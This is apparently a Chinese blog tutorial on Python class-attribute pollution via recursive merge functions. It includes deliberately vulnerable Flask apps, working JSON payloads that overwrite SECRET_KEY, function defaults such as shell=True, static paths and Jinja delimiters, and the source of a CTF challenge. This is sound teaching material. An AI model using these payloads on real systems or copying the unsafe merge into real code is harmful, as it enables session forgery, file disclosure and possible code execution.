python原型链污染
python原型链污染
Python原型链是一种通过修改对象原型链中的属性,导致程序行为偏离预期的攻击技术。其核心原理与JavaScript原型链污染类似,但实现方式因语言特性而有所差异。
nodejs和Python原型链污染的差别
nodejs原型链和python原型链污染的根本原理一样,Nodejs是对键值对的控制进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。
-
原型链继承特性
python中每个对象通过
__class__属性指向其所属类,类通过__base__属性指向父类。当访问对象舒心时,若当前对象/类中未定义,会沿原型链向上查找 -
污染条件
需要存在递归合并函数(如merge)且未对特殊属性过滤。
demo
一般特征关键函数(判断python原型链污染的依据)
def merge(src, dst): //不会换成update你就不认识了吧
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
接下里我们来看一个最简单的原型链污染:
class Config: //类
is_admin = False //类属性
def set_config(cls, key, value): //类方法
setattr(cls, key, value)
def get_config(cls, key): //类方法
return getattr(cls, key, None)
instance=Config() //创建config类的实例对象
print(instance.is_admin) #False 对象自己没有is_admin 于是去类里面找,找到False
setattr(instance,'is_admin','True') //给对象设置属性
print(instance.is_admin) #True
进入python的debug模式,给倒数三行打上断点。我们就可以看到刚初始化的instance里面的is_admin为fals

经过setattr函数后is_admin变成了true

这就是最简单的原型链污染。
接下来我们看看一段示例代码
from flask import Flask, request, jsonify
from config import Config
app = Flask(__name__)
@app.route('/update_config',</span> methods=['POST'])
def update_config():
data = request.json
for key, value in data.items():
Config.set_config(key, value)
return jsonify({"status": "success", "config": data})
@app.route('/check_admin',</span> methods=['GET'])
def check_admin():
is_admin = Config.get_config('is_admin')
return jsonify({"is_admin": is_admin})
if __name__ == '__main__':
app.run(debug=True)
如果传入恶意参数将 is_admin 污染为 true 则可以实现对管理员校验的绕过
因为没有对传入参数进行校验我们可以试图传入{“is_admin”:True}
setattr()函数就会把 is_admin 参数污染为 true
在实战中我们更经常看到的是merge的合并函数
class father:
secret = "hello"
class son_a(father): //son_a继承father
pass
class son_b(father): //son_b继承father
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__')://如果dst像字典
if dst.get(k) and type(v) == dict: //就按字典方式进行合并
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict://否则如果dst有这个属性,也就是hasattr(instance, "__class__") and True
merge(v, getattr(dst, k)) //就继续递归进去也就是merge({"__base__": {"secret": "world"}}, instance.__class__)
else:
setattr(dst, k, v)//否则,直接赋值
instance = son_b() //创建son_b的实例instance
payload = {
"__class__" : {
"__base__" : {"secret" : "world"}
} //instance.__class__.__base__.secret = "world"
} //这个就是从class也就是类出发,找到son_b,之后再找到他的父类,再把父类的.secret改成"world"
print(son_a.secret)#hello
print(instance.secret)#hello
merge(payload, instance)
print(son_a.secret)#world
print(instance.secret)#world

所以我们成功将father类的secret属性成功污染成了world
个例
上面的实例代码中,我们污染的类对象属性son.b(),但是并不是什么类型都能被污染,如Object:

所以我们要污染的目标类能够被切入点或对象可以通过属性值查找获取到。
获取目标类
上面的实例我们是通过__base__属性查找到继承的父类,然后污染到父类中的secret参数,但是如果目标类与切入点没有父子类继承关系,那我们就无法用__base__属性进行对目标类的获取和污染。
获取全局变量
在函数或类方法中,我们经常会看到__init__初始化方法,但是它作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局变量属性__globals__属性,__globals__属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间。具体来说就是,__globals__属性返回 一个字典,里面包含了函数定义时所在模块的全局变量。
a=1 //全局变量
def demo(): //全局函数
pass
class A ://全局类
def __init__(self):
pass
print(demo.__globals__==globals()==A.__init__.__globals__)

我们就可以通过merge加上globals来获取对应的区局变量:
a = 1
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def demo():
pass
class A:
def __init__(self):
pass
class B:
classa = 2
instance = A()
payload = {
"__init__":{
"__globals__":{
"a":4,
"B":{
"classa":5
}
}
}
}
print(B.classa) //2
print(a)//1
merge(payload, instance)
print(B.classa)//5
print(a)//4
获取其他模块
在全局变量的前提下,是我们都在入口文件中的类对象或者属性进行操作的,但是我们如果操作的位置在入口文件中,而且标对象并不在入口文件当中,而是在其他已经被加载的模块中,这时候我们就需要对其他加载过的模块来获取了。
import加载获取
在简单的关系情况下,我们可以直接通过Import来进行加载,在payload中我们只需要对对应的模块重新定位就可以

import demo
payload = {
"__init__":{
"__globals__":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
} //instance.__init__.__globals__["demo"].a = 4
//instance.__init__.__globals__["demo"].B.classa = 5
##demo.py
a = 1 //demo里的全局变量
class B:
classa = 2
sys模块加载获取
在很多环境当中,会引用第三模块或者是内置模块,而不是简单的Import同级文件下面的目录,所以我们就要借助sys模块中的moudle属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获得我们想要污染的目标模块:

同样是刚才的场景,因为我们已经加载过demo.py了,所以我们用sys来对里面的目标进行获取,但是存在一个问题就是,我们的payload传参的时候大概是在它源码已有的基础上那个进行传参,很有可能源码中没有引入。
import sys
payload = {
"__init__":{
"__globals__":{
"sys":{
"modules":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
}
}
}
加载器loader获取
loader加载器在payload中的作用是为了实现模块加载而设计的类,其在importlib这一内置模块中具体而实现。而importlib模块下所有的py文件中均引入了sys模块,这样我们和上面的sys模块获取已加载模块就联系起来了,所以我们的目标就变成了只要获得了加载器loader,我们就可以通过loader.__init__.__globals__['sys']来获取到sys模块,然偶再获取到我们想要的模块。
那么我们现在的目标就变成了获取loader:
在Python中,__loader__是一个内置的属性,包含了加载模块中的loader对象,loader对象负责创建模块对象,通过__loader__属性,我们可以获取到加载特定模块的loader对象。
import math
# 获取模块的loader
loader = math.__loader__
# 打印loader信息
print(loader)
在这个例子中我们就能够明白,math模块中的__loader__属性包含了一个loader对象,负责加载math模块。
在python中还存在一个__spec__,包含了关于类加载时候的信息,他定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用
<模块名>.__spec__.__init__.__globals__['sys']
获取到sys模块。
函数形参默认值替换
1__defaults__
在Python中,__defaults__是一个元组,用于存储函数或方法的默认参数值。当我们去定义一个函数时,可以为其中的参数指定默认值。这些默认值会被存储在__default__元组中。
def a(var_1, var_2 =2, var_3 = 3):
pass
print(a.__defaults__)
#(2, 3)
所以我们就可以通过替换该属性 ,来实现对函数位置或者是兼职默认值替换,但是前提是我们要替换的值是元组的形式:
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__defaults__" : (True,)
}
}
}
}
2.__kwdefaults__
__kwdefaults__是以字典形式来进行收录:
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}
关键信息替换
1.flask密钥替换
如果我们可以对秘钥进行替换,赋值为我们想要的,我们就可以进行任意的session伪造,这里因为secret_key是在当前入口文件下面的,所以我们可以直接通过__init__.__globals__获取全局变量,然后通过app.config["SECRET_KEY"]来进行污染:
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "[+]Config:%s"%(app.config['SECRET_KEY'])
app.run(host="0.0.0.0")
这里我们并无法确定secretkey是什么,所以如果我们能够Fla污染,我们就可以实现任意的session伪造:
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}
2._got_first_request
用于判定是否某次请求为自Flask启动后第一次请求,是Flask.got_first_request函数的返回值,此外还会影响装饰器app.before_first_request的调用,而_got_first_request值为假时才会调用:
所以如果我们想调用第一次访问前的请求,还想要在后续请求中进行使用的话,我们就需要将_got_first_request从true改成false然后就能在后续的访问过程中,仍然能够调用装饰器app.before_first_request下面的可用信息:
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
flag = "Is flag here?"
@app.before_first_request
def init():
global flag
if hasattr(app, "special") and app.special == "U_Polluted_It":
flag = open("flag", "rt").read()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
global flag
setattr(app, "special", "U_Polluted_It")
return flag
app.run(host="0.0.0.0")
payload={
"__init__":{
"__globals__":{
"app":{
"_got_first_request":False
}
}
}
}
3._static_url_path
当python指定static静态目录以后,我们再进行访问就会定向到static文件夹下面的对应的文件而不会存在目录穿梭的漏洞,但是如果我们想要访问其他文件下面的敏感信息,我们就需要污染这个静态目录,让他自动帮我们实现定向
#static/index.html
<html>
<h1>hello</h1>
<body>
</body>
</html>
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"
payload={
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}
4.os.path.pardir
#app.py
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"
app.run(host="0.0.0.0")
payload={
"__init__":{
"__globals__":{
"os":{
"path":{
"pardir":","
}
}
}
}
}
改掉之后就能污染了。
Jinja语法标识符
我们在学习SSTI的时候,语法标识符{{}}是解析jinjia语法重要的一个东西,那么我们能不能对这个东西进行修改呢:在jinjia的文档中,提到了对Jinjia环境类的相关属性问题,文档中提到说,如果此类的实例未共享并且尚未加载模块的话,为我们就可以修改此类的实例

在Flask中使用的Flask类的装饰器以后,jinjia_env方法实现了上诉的功能点:

我们跟进下creat_jinja_environment()函数,发现jiaja_env方法返回值就是jinja中的环境类:
jiaja_environment=Environment
所以我们可以直接采用类似
Falsk.jinja_env.variable_start_string="xxx"
来实现对jinja语法标识符进行替换
#templates/index.html
<html>
<h1>Look this -> [[flag]] <- try to make it become the real flag</h1>
<body>
</body>
</html>
#app.py
from flask import Flask,request,render_template
import json
app = Flask(__name__)
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "go check /index before merge it"
@app.route('/index',methods=['POST', 'GET'])
def templates():
return render_template("test.html", flag = open("flag", "rt").read())
app.run(host="0.0.0.0")
如果我们想通过{{flag}}的话,就需要讲语法标识符进行替换,这里我们九江语法标识符从{{}},替换未[[]]。这样的话[[flag]]就能够像{{flag}}一样被解析了。
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[[","variable_end_string":"]]"
}
}
}
}
但是在Flask框架中,他会对模板文件编译后进行一定的缓存,下次再需要渲染的时候,直接使用缓存里面的模板文件,这样的话我们修改语法标识符里面的flag变量并没有被放到缓存当中,所以没有自动填充flag,所以我们需要在Flask启动以后先输入payload再访问路由,这样就可以做到先污染再访问模板。

例题
[GeekChanlleng 2023 ezpython]
源码:
import json
import os
from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string
app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False
class hhh(User):
def __init__(self):
self.username=""
self.password=""
registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")
@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")
@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")
@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")
注意代码中的类与对象关系
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False
class hhh(User): #hhh类继承User类,就是User为hhh的父类
def __init__(self):
self.username=""
self.password=""
user=hhh()
可以通过类似ssti的方法拿属性方法——控制
__class__:拿对象的类
__base__:拿类的父类

浙公网安备 33010602011771号